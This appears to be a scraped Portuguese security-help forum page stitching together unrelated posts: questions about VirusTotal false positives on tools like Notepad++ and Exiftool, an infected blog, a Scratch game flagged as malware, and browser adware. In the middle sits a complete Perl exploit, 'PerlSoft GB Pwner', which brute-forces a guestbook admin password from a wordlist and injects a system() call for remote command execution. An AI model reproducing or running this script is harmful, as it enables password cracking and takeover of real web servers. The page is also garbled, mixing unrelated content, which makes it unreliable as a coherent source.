Search the Community

Olá me chama Roberto Souza e queria a ajuda de pessoas mais experiente na Área para saber se essas análises se tratam de um possível falso Positivo pois é muito estranhas e queria saber se posso executar e instalar esse programas sem riscos já fiz a analises com o Panda Antivírus e MalwareBytes e nemhum desse acusa algo mais já no site Vírus Total é detectado Vírus e outros Malwares e em algum somente na análise automática do site que é encontrado algo não tenho conhecimento na Área mais nem todos serem programas desconhecidos é que me vem a duvida se tiver como me ajudar ficarei muito grato espero ajudar também outras pessoas no futuro caso tenham a mesma duvida bom é isso vou deixar o nome dos programas a taxa de detecção do site e o nome e link da análise Analise Vírus Total: Exiftool ( Ferramenta para ver Metadata de Arquivos ) Taxa 1/60 Detectado: HW32.Packed.EDA1 Link: https://www.virustotal.com/pt/file/bd905bea325c17cb8e02ba7dc7a9077a6327f0b5b7ea6b683db262b805ea10b7/analysis/1520367482/ Analise Vírus Total: Inno Setup (Criador de Instaladores de Programas ) Taxa 0/64 Detectado Analise na Automática Link: https://www.virustotal.com/pt/file/0432d5d91f769fa39ede83f425458f4f03b03209d650c302c5bf134023431b44/analysis/1520367792/ Analise Vírus Total: MD5 and SHA check utility (Programa para ver Hash de Arquivos) Taxa 2/66 Detectado: Trojan.Generic.absfb E Adware.OutBrowse.Win32.74048 Link: https://www.virustotal.com/pt/file/d3d6f3597aeba37312f61e59ba465e57b19140cc9a4517c7f9c49461f1d0a4bb/analysis/1520368035/ Analise Vírus Total: Notepad++ (IDE para Programação e Diversas Linguagens de Programação) Taxa 1/60 Detectado: W32.Rogue.Gen Link: https://www.virustotal.com/pt/file/0fd6975eb7b9b0390e8c8e1a11dcb1ea6fe84812a27c852a4861ce29f58668d4/analysis/1520368285/ Analise Vírus Total: Pascalzim IDE (IDE Para Desenvolvimento em Pascal) Taxa: 1/58 Detectado: Win32.Trojan.WisdomEyes.16070401.9500.9813 Link: https://www.virustotal.com/pt/file/5606f56e8c6b00a2e1b656545327195135ad28c9fdf410dc00c70b45a63768bb/analysis/1520368481/ Analise Vírus Total: QR Code Studio (Programa para Gerar QR Code e Ler) Taxa: 0/59 Detectado na Analise Automática Link: https://www.virustotal.com/pt/file/bfb0382783bf657b0a12be14e29b6a88856db74b506096bde509e8957f41fcef/analysis/1520368636/

Olá gostaria de saber sobre estas analises que fiz na IDE Pascalzim e no Programa de Animação 2D Pencil2D a analise foi feita no Site Vírus Total Vejam na Analise do Arquivo Zipado é informado que há um Trojan chamado Win32.Trojan.WisdomEyes.16070401... sei lá o que sei que o "Anti Virus" é tanto quanto duvidoso mais mesmo assim fico na duvida a final quem se preocuparia de criar um trojan que passa-se pela detecção do Baidu Agora sobre o programa de animação 2D Pencil ao analisar o Arquivo zipado também há uma detecção não especificada mais vejam a imagem Esses são os programas que tenho duvida tem consta algo no Programa Paint Tool Sai mais esse é pago então deixei em OFF bom quem poder me ajudar a saber se é seguro ou não fico Grato espero que o post esteja no lugar correto se estiver errado peço desculpas

#!/usr/bin/perl =pod Typ: Bruter & RCE Name: PerlSoft GB Pwner Affected Software: PerlSoft G�stebuch Version: 1.7b Coder/Bugfounder: Perforin Visit: DarK-CodeZ.org Note: RCE ist only 1 time possible, do not waste your command! =cut use strict; use warnings; use diagnostics; use LWP::Simple; use LWP::Simple::Post qw(post post_xml); my ($url,$user,$wordlist,$error_counter,$word,$anfrage); my ($falsch,$richtig,$entry,$rce,$send,$crypted); my (@response,@rcesend,@array); if (@ARGV < 4) { &fail; } ($url,$user,$wordlist) = (@ARGV); $falsch = '<tr><td align=center><Font color="000000" FACE="Arial">Nur Administratoren mit g&uuml;ltigen Benutzerdaten haben Zugang in das Admin-Center!</font></td></tr>'; $richtig = '<tr><td bgcolor=#E0E0E0 align=center><B><Font color="000000" FACE="Arial">G&auml;stebuch Vorlage - Einstellen</font></B></td></tr>'; if ($url !~ m/^http:\/\//) { &fail; } if ($wordlist !~ m/\.(txt|list|dat)$/) { &fail; } print <<"show"; --==[Perforins PerlSoft GB Pwner]==-- [+] Attack: $url [+] User: $user [+] Wordlist: $wordlist show open(WordList,"<","$wordlist") || die "No wordlist found!"; foreach $word (<WordList>) { chomp($word); $crypted = crypt($word,"codec"); $anfrage = $url.'?sub=vorlage&id='.$user.'&pw='.$crypted; @array = get($anfrage) || (print "[-] Cannot connect!\n") && exit; foreach $entry (@array) { if ($entry =~ m/$richtig/i) { print "\n[+] Password cracked: "."$crypted:$word"." !\n\n"; if ($ARGV[3] =~ m/yes/i ) { print <<"RCE"; [+] Remote Command Execution possible! [~] Note: Only _1_ time exploitable, do not waste it! [+] Please enter your Command! RCE chomp($rce = <STDIN>); $rce =~ s/>/\"\.chr(62)\.\"/ig; $rce =~ s/</\"\.chr(60)\.\"/ig; $rce =~ s/\|/\"\.chr(124)\.\"/ig; $rce =~ s/&/\"\.chr(38)\.\"/ig; $rce =~ s/\//\"\.chr(47)\.\"/ig; $rce =~ s/-/\"\.chr(45)\.\"/ig; $send = 'loginname='.$user.'&loginpw='.$word.'&loginname1='.$user.'";system("'.$rce.'");print "h4x&loginpw1='.$word.'&loginpw2='.$word.'&id='.$user.'&pw='.$crypted.'&sub=saveadmindaten'; @response = post($url, $send); @rcesend = get($url) || (print "[-] Cannot connect!\n") && exit; print <<"END"; [+] Command executed! ---====[www.vx.perforin.de.vu]====--- END exit; } else { (print "---====[www.vx.perforin.de.vu]====---\n") and exit; } } elsif ($entry =~ m/$falsch/i) { $error_counter++; print "[~] Tested ".$error_counter.": "."$crypted:$word"."\n"; } } } close(WordList); print "[-] Could not be cracked!\n"; exit; sub fail { print <<"CONFIG"; +-------------------+ | | | PerlSoft GB Pwner | | v0.1 | | | +-------------------+-----[Coded by Perforin]-----------------------------+ | | | brute.pl http://opfer.lu/cgi-bin/admincenter.cgi admin wordlist.txt yes | | brute.pl http://opfer.lu/cgi-bin/admincenter.cgi admin wordlist.txt no | | | | yes = Remote Command Execution | | no = No Remote Command Execution | | | +-------------------------[vx.perforin.de.vu]-----------------------------+ CONFIG exit; }

Boa noite, o meu blog esta sem anuncio e mesmo assim apresenta vírus quando acessa o site, mas esse vírus esta criptografado no html, alguém sabe como remover? o site e esse: http://www.acessomp3.com.br/

ola gostaria de saber como funciona a infecção de um programa por um virus

olá, sera que alguém pode me ajudar? recentemente compilei um jogo que fiz com scratch em exe, quando é baixado por algum navegador em qualquer pc, o computador acusa como virus ( QVM42.0.Malware.Gen ),tambem no site (virus total), só que na realidade é só um jogo, alguém pode me dizer o que esta acontecendo, e como devo prosseguir para eliminar o erro ? usei o BYOB para compilação. agradeço a atenção.

Olá, então eu instalei um programa no meu computador, agora não sei qual é, mas depois de um tempo no navegador aparece umas propaganda. E agora quando vou em "Configurações" e depois em "Extensões" o navegador simplesmente fecha. Como resolver isso?